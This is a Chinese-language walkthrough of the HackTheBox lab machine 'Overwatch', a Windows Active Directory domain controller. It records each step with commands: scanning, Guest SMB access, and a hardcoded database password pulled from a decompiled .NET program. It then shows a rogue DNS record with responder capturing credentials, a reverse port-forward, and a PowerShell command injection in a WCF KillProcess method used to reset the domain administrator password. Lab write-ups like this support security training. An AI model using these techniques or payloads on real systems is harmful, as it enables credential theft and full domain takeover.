HTB靶机 Overwatch 渗透测试记录

misaka19008 发布于 3 天前 88 次阅读 3155 字



目标信息

IP地址:10.129.12.119(非固定IP地址)


信息收集

ICMP检测

PING 10.129.12.119 (10.129.12.119) 56(84) bytes of data.
64 bytes from 10.129.12.119: icmp_seq=1 ttl=127 time=854 ms
64 bytes from 10.129.12.119: icmp_seq=2 ttl=127 time=365 ms
64 bytes from 10.129.12.119: icmp_seq=3 ttl=127 time=287 ms
64 bytes from 10.129.12.119: icmp_seq=4 ttl=127 time=329 ms

--- 10.129.12.119 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3000ms
rtt min/avg/max/mdev = 287.127/458.706/853.589/229.662 ms

攻击机和靶机间网络连接正常。

防火墙检测

# Nmap 7.98 scan initiated Sun Jan 25 08:35:51 2026 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.12.119
Nmap scan report for 10.129.12.119
Host is up (0.28s latency).
All 65535 scanned ports on 10.129.12.119 are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)

# Nmap done at Sun Jan 25 08:36:39 2026 -- 1 IP address (1 host up) scanned in 48.41 seconds

无法探测靶机防火墙状态。

网络端口扫描

TCP端口扫描结果

# Nmap 7.98 scan initiated Sun Jan 25 08:38:34 2026 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.12.119
Nmap scan report for 10.129.12.119
Host is up (0.30s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-01-25 00:39:34Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-01-25T00:41:19+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=S200401.overwatch.htb
| Not valid before: 2025-12-07T15:16:06
|_Not valid after:  2026-06-08T15:16:06
| rdp-ntlm-info: 
|   Target_Name: OVERWATCH
|   NetBIOS_Domain_Name: OVERWATCH
|   NetBIOS_Computer_Name: S200401
|   DNS_Domain_Name: overwatch.htb
|   DNS_Computer_Name: S200401.overwatch.htb
|   DNS_Tree_Name: overwatch.htb
|   Product_Version: 10.0.20348
|_  System_Time: 2026-01-25T00:40:39+00:00
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
6520/tcp  open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info: 
|   10.129.12.119:6520: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 6520
| ms-sql-ntlm-info: 
|   10.129.12.119:6520: 
|     Target_Name: OVERWATCH
|     NetBIOS_Domain_Name: OVERWATCH
|     NetBIOS_Computer_Name: S200401
|     DNS_Domain_Name: overwatch.htb
|     DNS_Computer_Name: S200401.overwatch.htb
|     DNS_Tree_Name: overwatch.htb
|_    Product_Version: 10.0.20348
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-01-24T21:51:36
|_Not valid after:  2056-01-24T21:51:36
|_ssl-date: 2026-01-25T00:41:19+00:00; +1s from scanner time.
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
63519/tcp open  msrpc         Microsoft Windows RPC
63902/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022 (88%)
OS CPE: cpe:/o:microsoft:windows_server_2022
Aggressive OS guesses: Microsoft Windows Server 2022 (88%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-01-25T00:40:41
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required
|_clock-skew: mean: 1s, deviation: 0s, median: 0s

TRACEROUTE (using proto 1/icmp)
HOP RTT       ADDRESS
1   315.97 ms 10.10.14.1
2   316.15 ms 10.129.12.119

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 25 08:41:28 2026 -- 1 IP address (1 host up) scanned in 173.98 seconds

UDP端口开放列表扫描结果

# Nmap 7.98 scan initiated Sun Jan 25 08:44:07 2026 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.12.119
Nmap scan report for 10.129.12.119
Host is up (0.27s latency).
Not shown: 65531 open|filtered udp ports (no-response)
PORT    STATE SERVICE
53/udp  open  domain
88/udp  open  kerberos-sec
123/udp open  ntp
389/udp open  ldap

# Nmap done at Sun Jan 25 08:45:16 2026 -- 1 IP address (1 host up) scanned in 69.07 seconds

UDP端口详细信息扫描结果

(无)

同时发现靶机操作系统为Windows Server 2022,且安装了域控服务,主域名为overwatch.htb,域控主机名为S200401,还开启了3389/rdpmssql/6250服务。


服务探测

DNS服务(53端口)

尝试使用dig命令查询关于主域名的记录:

dig any overwatch.htb @S200401.overwatch.htb

除域控外,未发现其它有效记录。

Windows SMB服务(445端口)

尝试使用访客账户Guest登录靶机SMB服务:

crackmapexec smb s200401.overwatch.htb -d overwatch.htb -u Guest -p ""

发现Guest用户为启用状态,使用impacket-smbclient登录:

impacket-smbclient overwatch.htb/Guest@s200401.overwatch.htb -no-pass

发现SMB服务存在software共享,探查共享内的文件:

use software$
ls

发现子目录Monitoring,使用ls命令列出目录:

该目录貌似为overwatch.exe的应用程序主目录,查看overwatch.exe.config

<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <configSections>
    <!-- For more information on Entity Framework configuration, visit http://go.microsoft.com/fwlink/?LinkID=237468 -->
    <section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" requirePermission="false" />
  </configSections>
  <system.serviceModel>
    <services>
      <service name="MonitoringService">
        <host>
          <baseAddresses>
            <add baseAddress="http://overwatch.htb:8000/MonitorService" />
          </baseAddresses>
        </host>
        <endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
        <endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
      </service>
    </services>
    # ... more lines
  </system.serviceModel>
  <entityFramework>
    <providers>
      <provider invariantName="System.Data.SqlClient" type="System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer" />
      <provider invariantName="System.Data.SQLite.EF6" type="System.Data.SQLite.EF6.SQLiteProviderServices, System.Data.SQLite.EF6" />
    </providers>
  </entityFramework>
  # ... more lines
</configuration>

发现overwatch.exe的服务名似乎为MonitoringService,在内网8080端口开启了HTTP服务,路径为/MonitorService,还使用了SqlClient库。

除此之外,未发现其它信息。

Active Directory服务

尝试使用KerberosGuest进行认证:

netexec ldap -d overwatch.htb -u Guest -p "" -k s200401.overwatch.htb

认证成功!同时发现LDAP服务未进行签名。

直接使用impacket-lookupsid工具爆破域内RID获取用户名列表:

impacket-lookupsid overwatch.htb/Guest@s200401.overwatch.htb -no-pass -domain-sids 40000

发现如下用户,直接保存到aduser.lst内:

Administrator   Guest   krbtgt  S200401$        sqlsvc
sqlmgmt SQL03$  NB001$  NB002$  FILE01$
S200400$        Charlie.Moss    Tracy.Burns     Kathryn.Bryan   Rachael.Thomas
Aimee.Smith     Duncan.Freeman  John.Begum      Bernard.Hilton  Kim.Hargreaves
Douglas.Burrows Carole.Murray   Olivia.Quinn    Trevor.Baker    Kenneth.Dennis
Jeremy.Marshall Jodie.Jones     Thomas.Lee      Terence.Matthews        Colin.Roberts
Aaron.Robinson  Amanda.Jenkins  Debra.Arnold    Michelle.Willis Kayleigh.Jones
Adam.Russell    Tracey.Kelly    Bethan.Dale     Mandy.Wood      Jenna.Phillips
Carole.Yates    Graham.Perry    Catherine.Griffiths     Shaun.Jackson   Bethan.Rogers
Ellie.Singh     Marie.Allan     Patrick.Holmes  Victor.Hopkins  Geraldine.Harper
George.Todd     Karl.Smith      Jacqueline.Norton       Frederick.Murray        Joe.Pearce
Paul.Collins    Damien.Edwards  Eileen.Phillips Carl.Johnson    Kevin.Newton
Natalie.Higgins Francis.Weston  Benjamin.Davison        Martin.Kemp     Angela.Jones
Gareth.Ahmed    Deborah.Morgan  Grace.Taylor    Roger.Hughes    Albert.Barrett
Grace.Curtis    Marilyn.Griffiths       Tracey.Barker   Suzanne.Hughes  Timothy.Jackson
Beverley.Thompson       Clare.Bartlett  Irene.Johnson   Bernard.Wood    Frank.McCarthy
Elaine.Page     Elaine.Walker   Mohammad.Hill   Glenn.Field     Deborah.Martin
Gail.Sullivan   Maureen.Kirby   Georgina.Chambers       Philip.Harris   Samantha.Scott
Ann.Hill        Chloe.Cox       Jamie.Gough     Frederick.Hussain       Dean.Hobbs
Danielle.Moore  Timothy.Smith   Declan.Stone    Jacob.Wilson    Gary.Elliott
Peter.Slater    Louise.Walton   Brett.Haynes    Elliot.Green    Wendy.Williams
Graham.Parker   Abdul.Stevens   Brett.Bailey    Benjamin.Harrison       Emily.Cooper
Roger.Spencer

除此之外,未发现任何信息。


渗透测试

查看.NET程序IL代码发现凭据

在服务探测阶段,我们已经发现靶机Guest用户处于开启状态,并使用其登录了SMB共享。由于后续未收集到其它有效信息,推测SMB共享内的overwatch.exe存在操作数据库的功能,于是决定下载该程序,进行逆向分析。

直接登录SMB,使用get命令下载该程序:

get overwatch.exe

随后使用IDA Pro打开,发现该程序使用.NET语言编写:

翻阅IL代码,在Program__CheckEdgeHistory方法中发现了硬编码了数据库连接凭据的字符串变量aServerLocalhos

成功发现域用户凭据:

  • 域:overwatch.htb
  • 用户名:sqlsvc
  • 密码:TI0LKcfHzZw1Vv

使用crackmapexec验证凭据:

crackmapexec smb s200401.overwatch.htb -d overwatch.htb -u sqlsvc -p "TI0LKcfHzZw1Vv"

登录成功!

修改DNS记录获取链接服务器凭据

获取sqlsvc用户凭据后,使用其登录SQL Server

impacket-mssqlclient overwatch.htb/sqlsvc:"TI0LKcfHzZw1Vv"@s200401.overwatch.htb -port 6520 -windows-auth

登录成功后,尝试枚举数据库内注册的链接服务器:

enum_links

除了当前实例外S200401外,数据库内还注册了一台主机名为SQL07的实例。尝试连接该实例:

use_link [SQL07]

发现无法连接到该数据库实例,提示连接超时。思考片刻后,决定使用dig命令查询SQL07主机的DNS记录:

dig any sql07.overwatch.htb @s200401.overwatch.htb

但靶机DNS数据库内根本不存在该主机的记录信息。

由于当前我们已经获取了域内普通用户sqlsvc的访问权限,可以向DNS数据库内添加任意记录,决定手动向靶机添加关于sql07主机的A类记录,将IP指向攻击机;添加完成后,在本地启动responder监听,随后在impacket-mssqlclient中执行命令连接SQL07链接服务器,以此尝试获取管理员配置的登录凭据。

首先,使用bloodyAD工具添加恶意DNS记录:

bloodyAD -d overwatch.htb -u sqlsvc -p "TI0LKcfHzZw1Vv" --dc-ip 10.129.13.189 add dnsRecord sql07 "10.10.16.117"

添加成功后,启动responder监听:

responder -I tun0

最后使用impacket-mssqlclient登录数据库,再次执行use_link [SQL07]命令,此时,登录请求将被发往responder控制的恶意服务:

成功捕获域内用户凭据:

  • 域:overwatch.htb
  • 用户名:sqlmgmt
  • 密码:bIhBbzMMnB82yx

尝试使用该凭据登录WinRM

evil-winrm -i s200401.overwatch.htb -u sqlmgmt -p "bIhBbzMMnB82yx"

登录成功!!


权限提升

.NET程序逆向分析

登录系统后,进行目录信息收集,但未发现有效信息。回忆整个攻击过程,想到在overwatch.exe.config配置文件中发现的MonitoringService服务名,以及该服务监听的8000号本地端口,决定上传iox代理转发工具,将靶机环回地址的8000端口转发至本地进行枚举。GitHub - EddieIvan01/iox: Tool for port forwarding & intranet proxy

# On local machine
./iox fwd -l *2222 -l 8000 -k 314159
# On target machine
Start-Process -FilePath ./iox.exe -ArgumentList "fwd -r 127.0.0.1:8000 -r *10.10.16.149:2222 -k 314159" -WindowStyle Hidden

转发完成后,访问http://127.0.0.1:8000/MonitorService

发现该页面实际为WCF服务的主页面,还提供了WCF客户端配置文件的下载地址:http://overwatch.htb:8000/MonitorService?wsdl,不难看出overwatch.exe实际上为正在运行的WCF服务端程序。

Windows通讯开发平台(Windows Communication Foundation,简称WCF)是由微软开发的应用程序框架,作为.NET Framework 3.0的组成部分引入。该框架整合了.NET Remoting、WebService、Socket等通信机制,支持HTTP、TCP、Named Pipe等多种协议,通过数据契约、服务契约、操作契约及消息契约规范通信过程。其核心功能涵盖网络服务协议、业务服务协议、数据类型声明和传输安全定义,旨在为分布式应用提供标准化开发方案。

直接使用Jetbrains dotPeek工具对overwatch.exe进行反编译,查看并分析其源代码:

打开MonitoringService类源代码翻阅,发现存在三个WCF方法:StartMonitroingStopMonitoringKillProcess。其中KillProcess方法源代码如下:

public string KillProcess(string processName)
{
    string scriptContents = $"Stop-Process -Name {processName} -Force";
    try
    {
        using (Runspace runspace = RunspaceFactory.CreateRunspace())
        {
            runspace.Open();
            using (Pipeline pipeline = runspace.CreatePipeline())
            {
                pipeline.Commands.AddScript(scriptContents);
                pipeline.Commands.Add("Out-String");
                Collection<PSObject> collection = pipeline.Invoke();
                runspace.Close();
                StringBuilder stringBuilder = new StringBuilder();
                foreach (PSObject psObject in collection)
                    stringBuilder.AppendLine(psObject.ToString());
                return stringBuilder.ToString();
            }
        }
    }
    catch (Exception ex)
    {
        return "Error: " + ex.Message;
    }
}

发现在该方法的作用为接收传入的服务名字符串processName,随后将其拼接到系统命令字符串变量scriptContents中,通过调用命令执行方法执行Stop-Process命令的方式强制结束任意进程,但由于方法未对传入的processName变量进行任何合法性校验,导致攻击者可以使用;作为命令分隔符,由此执行任意命令。

WCF服务命令执行漏洞利用

在逆向分析WCF服务端程序overwatch.exe的过程中,我们已经发现WCF方法killProcess存在任意命令执行漏洞,现在进行利用。

首先登录WinRM,使用New-WebServiceProxy命令导入在线WSDL配置,新建一个WCF客户端,随后调用客户端对象的killProcess方法即可。首先我们执行whoami /all方法,查看运行该服务的用户:

$wcfClient = New-WebServiceProxy -Uri "http://overwatch.htb:8000/MonitorService?wsdl" -UseDefaultCredential
$wcfClient.killProcess("a;whoami /all;echo ")

发现MonitorService服务的运行用户为SYSTEM,直接修改域管理员密码:

$wcfClient.killProcess("a;net user Administrator Asd310056 /domain;echo ")

随后直接使用Remmina工具登录:

提权成功!!!!


本次靶机渗透到此结束

此作者没有提供个人介绍。
最后更新于 2026-01-31